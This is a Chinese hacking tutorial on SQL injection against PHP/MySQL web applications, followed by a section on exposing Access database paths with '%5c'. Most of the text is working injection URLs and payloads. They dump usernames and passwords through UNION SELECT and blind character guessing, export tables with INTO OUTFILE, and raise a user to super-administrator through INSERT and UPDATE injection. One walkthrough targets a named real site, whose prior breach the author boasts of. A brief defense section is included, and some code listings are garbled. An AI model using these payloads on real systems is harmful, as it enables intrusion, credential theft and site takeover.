网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括
不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都
允许检索所有的记录。很多查询的设计就是这样的。
查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算
危害,下面是一个标准的搜索引擎:


Searchresult
$keywords“wasnotfoundinalltherecord.
n”;
}else{
while($article=mysql_fetch_array($result)){
echo”

  • “.htmlspecialchars($article[title]).”
    n”;
    }//while
    }
    }else{
    echo”leaseentersomekeywords.
    n”;
    }
    ?>
    一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到”注入”的目的,
    尽管没有危害,当我们输入”___”、”.__”、”%”等类似的关键字时,会把数据库中的所有
    记录都取出来。如果我们在表单提交:
    %’ORDERBYarticleid/*
    %’ORDERBYarticleid#
    __’ORDERBYarticleid/*
    __’ORDERBYarticleid#
    SQL语句就被改变成下面的样子了,
    SELECT*FROMarticleWHEREtitleLIKE’%%’ORDERBYarticleid/*%’ORDERBYtitle
    DESC
    SELECT*FROMarticleWHEREtitleLIKE’%__’ORDERBYarticleid#%’ORDERBYtitle
    DESC
    就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入
    的一种方式了吧?
    二、查询字段
    查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难?我们在ASP中经常使用的个别函数在PHP里要有小小的改动,如下:
    ①本表查询
    看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,

    当我们提交的用户名为真时,就会正常返回用户的ID,如果为非法参数就会提示相应的错误,由于是查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个AND条件,如下:
    SELECT*FROMuserWHEREusername=’$username’ANDpassword=’$password’SELECT*FROM
    userWHEREusername=’$username’
    相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,
    密码为mypass,
    看了上面的例子,应该知道构造了吧,如果我们提交:
    http://127.0.0.1/injection/user.php?username=angel’andpassword=’mypass
    这个是绝对为真的,因为我们这样提交上面的SQL语句变成了下面的样子:
    SELECT*FROMuserWHEREusername=’angel’ANDpassword=’mypass’
    但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们
    就开始探测密码了,首先获取密码长度:
    http://127.0.0.1/injection/user.php?username=angel’andLENGTH(password)=’6
    在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要使用LENGTH(),只要没有构造
    错误,也就是说SQL语句能正常执行,那返回结果无外乎两种,不是返回用户ID,就是返回”该记
    录不存在”。当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP
    里一样?再用LEFT()、RIGHT()、MID()函数猜密码:
    http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,1)=’m
    http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,2)=’my
    http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,3)=’myp
    http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,4)=’mypa
    http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,5)=’mypas
    http://127.0.0.1/injection/user.php?username=angel’andLEFT(password,6)=’mypass
    看,密码不是出来了吗?简单吧?当然实际情况会有不少条件限制,下面还会讲到这个例子
    的深入应用。
    ②跨表查询
    这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难掌握的就是字段的数
    量,如果看过MYSQL参考手册,就知道了在SEL ECT 中的 select_expression
    (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个
    SELECT 查询中使用的列名将作为结果集的列名返回。简单的说,也就是UNION后面查选的字段数
    量、字段类型都应该与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个
    SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情况会替换掉在
    第一个SELECT原来应该显示的字段, 应该先知道前面查询表的数据表的结构。如果我们查询两
    个数据表的字段相同,类型也相同,我们就可以这样提交:
    SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM……
      如果字段数量、字段类型任意一个不相同,就只能搞清除数据类型和字段数量,这样提交:
    SELECT * FROM article WHERE articleid=’$id’ UNION SELECT 1,1,1,1,1,1,1 FROM……
      否则就会报错:
    The used SELECT statements have a different number of columns
      如果不知道数据类型和字段数量,可以用1来慢慢试,因为1属于intstrvar类型,所以我们只
    要慢慢改变数量,一定可以猜到的。如果不能马上理解上面的理论,后面有很详细的例子。
      我们看看下面的数据结构,是一个简单的文章数据表。
    CREATE TABLE article (
    articleid int(11) NOT NULL auto_increment,
    title varchar(100) NOT NULL default ”,
    content text NOT NULL,
    PRIMARY KEY (articleid)
    ) TYPE=MyISAM AUTO_INCREMENT=3 ;
    #
    # 导出表中的数据 article
    #
    INSERT INTO article VALUES (1, ‘我是一个不爱读书的孩子’, ‘中国的教育制度真是请文明用语
    落后!如果我当教育部长。我要把所有老师都解雇!’);
    INSERT INTO article VALUES (2, ‘我恨死你’, ‘我恨死你了,你是什么东西啊’);
      这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查
    询的表的结构和这个一样。就可以用”SELECT *”,如果有任何一个不一样,那我们只能用
    “SELECT 1,1,1,1……”了。
      下面的文件是一个很标准、简单的显示文章的文件,很多站点都是这种页面没有过滤,所以
    成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。

    正常情况下,我们提交这样的一个请求:
    http://127.0.0.1/injection/show.php?id=1
      就会显示articleid为1的文章,但我们不需要文章,我们需要的是用户的敏感信息,就要查
    询user表,现在是查询刚才我们建立的user表。
      由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:
    SELECT * FROM article WHERE articleid=’$id’ UNION SELECT * FROM user ……
      由于这个代码是有单引号包含着变量的,我们现在提交:
    http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user/*
      按道理说,应该显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?
      其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:
    http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user/*
    http://127.0.0.1/injection/show.php?id=99999′ union select 1,username,password from
    user/*
      现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。
    三、导出文件
      这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:
    select * from table into outfile ‘c:/file.txt’
    select * from table into outfile ‘/var/www/file.txt’
      但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没
    有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:
    必须导出到能访问的目录,这样才能下载。
    能访问的目录必须要有可写的权限,否则导出会失败。
    确保硬盘有足够的容量能容下导出的数据,这个很少见。
    确保要已经存在相同的文件名,会导致导出失败,并提示:”File ‘c:/file.txt’ already
    exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。
      我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了
    ,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围
    的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注
    入成下面的语句就能导出我们需要的信息了:
    SELECT * FROM user WHERE username=’$username’ into outfile ‘c:/file.txt’
      知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:
    http://127.0.0.1/injection/user.php?username=angel’ into outfile ‘c:/file.txt
      出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,
    也是查询的问题了,文件还是乖乖的被导出了,
      由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,
    如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就
    可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:
    http://127.0.0.1/injection/user.php?username=’ or 1=1 into outfile ‘c:/file.txt
      实际的SQL语句变为:
    SELECT * FROM user WHERE username=” or 1=1 into outfile ‘c:/file.txt’
      这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,
    但千万别用and哦,否则是不能导出全部数据的。
      既然条件满足,在这种情况下就直接导出所有数据!
      但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应
    该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
    SELECT * FROM article WHERE articleid=’1′ union select 1,username,password from user
    into outfile ‘c:/user.txt’
      这样可以导出文件了,如果我们要构造就提交:
    http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user
    into outfile ‘c:/user.txt
      文件是出来了,可是有一个问题,由于前面的查询articleid=’1’为真了,所以导出的数据也
    有整个文章的一部分,
      所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:
    http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user
    into outfile ‘c:/user.txt
      这样才能得到我们想要的资料
    值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。
    INSERT
      如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,
    那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据
    ,我们来看个简单而又广泛存在的例子,看看下面的数据结构:
    CREATE TABLE user (
    userid INT NOT NULL AUTO_INCREMENT ,
    username VARCHAR( 20 ) NOT NULL ,
    password VARCHAR( 50 ) NOT NULL ,
    homepage VARCHAR( 255 ) NOT NULL ,
    userlevel INT DEFAULT ‘1’ NOT NULL ,
    PRIMARY KEY ( userid )
    );
      其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注
    册程序默认是注册成普通用户,如下:
    INSERT INTO user (userid, username, password, homepage, userlevel) VALUES (”,
    ‘$username’, ‘$password’, ‘$homepage’, ‘1’);
      默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大
    家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造
    $homepage变量,就可以达到改写的目的,指定$homepage变量为:
    http://4ngel.net’, ‘3’)#
      插入数据库的时候就变成:
    INSERT INTO user (userid, username, password, homepage, userlevel) VALUES (”,
    ‘angel’, ‘mypass’, ‘http://4ngel.net’, ‘3’)#’, ‘1’);
      这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写
    的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
    或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
    UPDATE  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:
    UPDATE user SET password=’$password’, homepage=’$homepage’ WHERE id=’$id’
      用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:
    http://4ngel.net’, userlevel=’3
      整个SQL语句就变成这样:
    UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE
    id=’$id’
      我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
    还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
    UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’
      尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
    mypass)’ WHERE username=’admin’#
      这时整个语句变为:
    UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’,
    homepage=’$homepage’ WHERE id=’$id’
      这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,
    也可以从$id下手,指定$id为:
    ‘ OR username=’admin’
      这时整个语句变为:
    UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR
    username=’admin’
      照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION[‘username’]来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
      变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。
    5.5 高级应用
    1、 使用MYSQL内置函数
      我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,
    这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样
    就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:
    DATABASE()
    USER()
    SYSTEM_USER()
    SESSION_USER()
    CURRENT_USER()
    ……
      各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:
    UPDATE article SET title=$title WHERE articleid=1
      我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:
    UPDATE article SET title=DATABASE() WHERE id=1
    #把当前数据库名更新到title字段
    UPDATE article SET title=USER() WHERE id=1
    #把当前 MySQL 用户名更新到title字段
    UPDATE article SET title=SYSTEM_USER() WHERE id=1
    #把当前 MySQL 用户名更新到title字段
    UPDATE article SET title=SESSION_USER() WHERE id=1
    #把当前 MySQL 用户名更新到title字段
    UPDATE article SET title=CURRENT_USER() WHERE id=1
    #把当前会话被验证匹配的用户名更新到title字段
      灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前
    数据库等,比如前面跨表查询的例子,提交:
    http://127.0.0.1/injection/show.php?id=1
      可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置
    函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION
    ,同样要满足UNION的条件–字段数、数据类型相同。如果我们知道了数据结构,直接构造:
    http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
      就可以返回当前数据库名和数据库版本,构造是比较容易的。
      下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。
    #!/usr/bin/perl
    #cody by Super·Hei
    #to angel
    #C:>test.pl c:boot.ini
    #99,58,92,98,111,111,116,46,105,110,105
    $ARGC = @ARGV;
    if ($ARGC != 1) {
      print “Usage: $0 n”;
      exit(1);
    }
    $path=shift;
    @char = unpack(‘C*’, $path);
    $asc=join(“,”,@char);
    print $asc;
    2、不加单引号注入
    注:现在我们假设magic_quotes_gpc为on了。
      众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多
    问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成
    整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:
    SELECT * FROM user WHERE username=’angel’
      如何使$username不带引号呢?很简单我们这样提交就可以了。
    SELECT * FROM user WHERE user name=char(97,110,103,101,108)
    # char(97,110,103,101,108) 相当于angel,十进制。
    SELECT * FROM user WHERE username=0x616E67656C
    # 0x616E67656C 相当于angel,十六进制。
      其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所
    包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子
    (user,php),我们把查询条件改为userid:
    SELECT * FROM user WHERE userid=userid
      按照正常的,提交:
    http://127.0.0.1/injection/user.php?userid=1
      就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们
    构造:
    http://127.0.0.1/injection/user.php?userid=1 and password=mypass
      绝对错误,因为mypass是字符串,除非提交:
    http://127.0.0.1/injection/user.php?userid=1 and password=’mypass’
      由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/’,我们有什么办法
    可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:
    http://127.0.0.1/injection/user.php?userid=1 and password=char
    (109,121,112,97,115,115)
      正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解

    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)
      正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:
    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)
      又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比
    较:
    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
      然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还
    是可以用比较运算符来比较:
    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)
      而原来已经猜好的不用改变了,很快就可以猜完:
    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char
    (109,121,112,97,115,115)
     然后在mysql>命令提示符下或者在phpMyadmin里面执行:
    select char(109,121,112,97,115,115)
      就会返回:mypass
      当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos
    位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段
    的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:
    http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
    http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)
      我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函
    数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进
    行比较、当然得出的结果也就快多了,也就是这样提交:
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113 http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112   这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大 家可以自己去试验,限于篇幅也不多说了。 3、快速确定未知数据结构的字段及类型   如果不清楚数据结构,很难用UNION联合查询,这里我告诉大家一个小技巧,也是非常有用非 常必要的技巧,充分发挥UNION的特性。   还是拿前面的show.php文件做例子,当我们看到形如xxx.php?id=xxx的URL的时候,如果要 UNION,就要知道这个xxx.php查询的数据表的结构,我们可以这样提交来快速确定有多少个字段 : http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1   有多少个"1"就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果 字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易 ,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还 是用char()函数,char(97)表示字母"a",如下: http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)   如果是字符串,那就会正常显示"a",如果不是字符串或文本,也就是说是整形或布尔形, 就会返回"0"   判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判 断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序 都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活 运用才是根本。 4、猜数据表名   在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构, 那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么"畸形",只要没有语句上 的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我 们提交: http://127.0.0.1/injection/show.php?id=1 union select 1,1,1   返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样: http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user   如果这个表是存在的,那么同样会返回应该显示的内容,如果表不存在,当然就会出错了, 所以我的思路是先获得有漏洞的文件所查询表的数据结构,确定结果后再进一步查询表,这个手 工操作是没有效率的问题的,不到一分钟就可以查询到了,比如我们在测试www.***bai.net就是 这样,后面的实例会涉及到。   但是有一个问题,由于很多情况下,很多程序的数据表都会有一个前缀,有这个前缀就可以 让多个程序共用一个数据库。比如: site_article site_user site_download forum_user forum_post ……   如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表 名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^…… 5.6 实例   下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行一次大概的验证,出于影响等诸多因素,我们称这个站点为HB(www.***bai.net),HB使用的是夜猫的文章系统和下载系统,不过文章系统已经升级了,我们就不看了,下载系统是绝对有问题的,不过由于我现在写文章的电脑不上网,我用相同的下载系统在本地进行一次模拟的测试。实际上,我事前早用更狠毒的技术渗透过HB。   首先我们找到有问题的文件,show.php?id=1,我们马上看看数据结构和表名,看看HB有没有改字段和表名,我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段,就提交: http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1   注意,这里有19个"1",返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在: http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user     嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在? http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1   忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码: if ($id > “0” && $id < "999999999" ): //这里是正确执行的代码 else: echo "
    无记录n”;
      也就是说我们的ID的值再怎么离谱也不能在0和999999999之外,HB的软件肯定不会超过10000个的,我们就提交:
    http://127.0.0.1/ymdown/show.php?id=10000 union select
    1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
      正常返回了,表格里的数据全部是”1″,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:
    http://127.0.0.1/ymdown/show.php?id=10000 union select
    1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
      程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。
    CREATE TABLE ymdown (
     id int(10) unsigned NOT NULL auto_increment,
     name varchar(100) NOT NULL,
     updatetime varchar(20) NOT NULL,
     size varchar(100) NOT NULL,
     empower varchar(100) NOT NULL,
     os varchar(100) NOT NULL,
     grade smallint(6) DEFAULT ‘0’ NOT NULL,
     viewnum int(10) DEFAULT ‘0’ NOT NULL,
     downnum int(10) DEFAULT ‘0’ NOT NULL,
     homepage varchar(100), demo varchar(100),
     brief mediumtext, img varchar(100),
     sort2id smallint(6) DEFAULT ‘0’ NOT NULL,
     down1 varchar(100) NOT NULL,
     down2 varchar(100),
     down3 varchar(100),
     down4 varchar(100),
     down5 varchar(100),
     PRIMARY KEY (id)
    );
      用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19个”1″中,name和size分别是第二个和第四个,我们提交:
    http://127.0.0.1/ymdown/show.php?id=10000 union select
    1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
      结果成功返回了我们所需要的用户名和密码验证测试结果
      整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:
    http://127.0.0.1/ymdown/show.php?id=10 union select
    1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
    #验证第一位密码
    http://127.0.0.1/ymdown/show.php?id=10 union select
    1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
    #验证第二位密码
    http://127.0.0.1/ymdown/show.php?id=10 union select
    1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
    #验证第三位密码
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
    #验证第四位密码
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
    #验证第五位密码
    http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
    #验证第六位密码
      用select char(49,50,51,52,53,54)就可以得到123456。
      OK!测试结束,验证我们的结果没有错误。说明一下,密码本身是123456,可以不用ord()函数而直接猜,但为了大家能看到一个完整的过程,我还是”专业”一点好了。
    5.7 注入的防范
      防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
      如果说php比asp易用,安全,从内置的函数就可以体现出来。如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:
    $id = intval($id);
    mysql_query(“SELECT * FROM article WHERE articleid=’$id'”);
      或者这样写:
    mysql_query(“SELECT * FROM article WHERE articleid=”.intval($id).””)
      不管如何构造,最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写,非常简洁。
      字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的 ‘ (单引号), ” (双引号), (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。例子如下:
    $username = addslashes($username);
    mysql_query(“SELECT * FROM members WHERE userid=’$username'”);
      或者这样写:
    mysql_query(“SELECT * FROM members WHERE userid=”.addslashes($username).””)
      使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把”_”、”%”转换为”_””%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:
    $keywords = addslashes($keywords);
    $keywords = str_replace(“_”,”_”,$keywords);
    $keywords = str_replace(“%”,”%”,$keywords);
      不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便? www.hookbase.com 论坛上 有大量技术性文章 觉的可以的话帮我顶上去 呵呵
    5.8 我看暴库漏洞原理及规律1
    SQL注入流行很久了,我们找漏洞注入目的无非是想得到数据库内的东西,比如用户名密码等,更进一步的MSSQL数据库还可以借此获得权限。基于Access的基础来说,如果我们不用注入就可以得到整个数据库,不是更好吗?于是暴库成了一个比注入更简单的入侵手段。
    有关暴库的方法,高手们常在入侵文章中提到,但多是一笔带过,有些就某一个方法谈的,也多是就方法进行探讨。最近有一篇《再谈%5c暴库的利用》的文章,算是对暴库进行了一些总结,因而在网是流传很广。但仍没有谈及原理,而且结论也只是就于经验,似是而非,于是决定来谈谈暴库的原理与规律。不到之处,大家多指教。
    “%5c”暴库大法
    这种方法被认为是暴库绝招,很是流行了一阵,但是和其它漏洞一样,随着知道的人多了,防备也加强了,没以前那么有效。这种方法简单点说就是在打开网页时,把网址址中的”/”换成”%5c”,然后提交,就可以暴出数据库的路径。
      实际上,并不是所有网址都有效,需要”asp?id=”这样的网页地址,或者说表示有调用数据库的行为的地址。如果你确认这个网页有调用数据库的,后面不是这样的也可以,比如Chklogin.asp等也可以(还有其它条件,后面再谈)。先举个黑防第四轮实验室中的例子:
    http://219.237.81.46/yddown%5cview.asp?id=3
    把第二个”/”换成”%5c”:
    http://219.237.81.46/yddown%5cview.asp?id=3
    提交后会得到如下返回结果:
    Microsoft JET Database Engine 错误 ‘80004005’
    ‘D:\111\admin\rds_dbd32rfd213fg.mdb’不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
    /yddown/conn.asp,行12
    这是黑防实验室的一个系统,暴库是小编们故意开放的,因为它的关口不是注入,而是进入后台后如何获得WebShell。可以看到我们直接获取了数据库地址,可以下载了。
